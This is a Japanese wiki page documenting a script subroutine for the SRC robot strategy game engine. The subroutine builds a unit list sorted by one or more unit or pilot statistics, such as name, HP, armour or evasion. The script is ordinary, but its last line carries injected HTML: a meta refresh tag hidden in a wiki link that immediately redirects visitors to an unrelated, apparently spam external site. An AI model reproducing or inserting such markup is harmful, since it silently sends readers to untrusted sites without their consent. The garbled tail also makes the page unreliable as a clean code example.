ユニットリストを作成する
特定のキーによってソートされたユニットリストを作成するサブルーチンです。
複数のキーによる複合ソートが可能で、「回避 + 運動性」の場合は「(回避 運動性)」と引数に指定します。
// 指定されたパラメータでソートしたユニットのリストを作成する // Args(1) : ソートキー MakeUnitList: // ソートキーのデータを取得する Local _UnitID _templist i _lnum ForEach "味方" (出撃 待機 格納) _UnitID = 対象ユニットID // 対象ユニットIDを変数に記録 _templist[_UnitID] = 0 // ソート用の一時変数に格納 _lnum = LLength(Args(1)) For i = 1 to _lnum Switch LIndex(Args(1), i) Case "ユニット名称" "名称" _templist[_UnitID] = Unit() Break // 名称ソートの場合は他との複合ソートはないので終了 Case "パイロット名称" _templist[_UnitID] = Pilot() Break // 名称ソートの場合は他との複合ソートはないので終了 Case "ランク" "最大HP" "最大EN" "HP" "EN" "装甲" "運動性" "移動力" "最大攻撃力" "最長射程" Incr _templist[_UnitID] Info("ユニット", _UnitID, LIndex(Args(1), i)) Case "レベル" "SP" "格闘" "射撃" "命中" "回避" "技量" "反応" Incr _templist[_UnitID] Info("パイロット", PilotID(_UnitID), LIndex(Args(1), i)) EndSw Next Next // リストをソート If (InStr(Args(1), "名称") != 0) Then // 名称ソートの場合 Sort _templist "文字" Else // 名称によるソートでない場合 Sort _templist "降順" EndIf // ソート結果からユニットリストを作成 ForEach _UnitID In _templist Set UnitList[_UnitID] _UnitID Next Return[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]